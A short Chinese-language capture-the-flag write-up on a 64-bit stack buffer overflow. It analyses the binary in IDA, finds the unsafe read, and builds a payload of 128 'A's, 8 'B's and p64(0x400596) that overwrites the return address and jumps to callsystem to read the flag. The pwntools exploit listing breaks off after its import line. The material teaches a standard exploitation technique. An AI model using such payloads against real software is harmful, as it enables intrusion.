观察
用ida打开拿到的文件会看到主程序(使用F5可以将机器码反编译成伪代码):

查看 vulnerable_function:

发现read的漏洞。
接着便是需要查看Stack的结构。点击这里的buf便可以查看当前函数的stack结构:

可以发现先是存储当前的输入内容(期望长度为128),然后便是saved_registers(长度为8),最后才是return_address。

通过查看Exports可以发现callsystem这个函数及其地址:
1 | callsystem 0000000000400596 |
我们可以使用pwn里的p64()函数自动将一个整数打包成 64 位小端序(little endian)的字节串。因为大部分现代的架构使用的都是小端序。
1 | p64(0x400596) |
Exploit
我们需要做的是发送一段内容,结构如下:
1 | payload = b"A" * 128 + b"B"*8 + p64(0x400596) |
前面AB的部分会覆盖掉buf以及saved_registers,以至于可以用p64(0x400596)覆盖掉函数的返回地址,也就是说会直接调用callsystem这个函数。调用了之后只需要使用ls和cat flag命令即可读取flag。
Exploit代码:
1 | from pwn import * |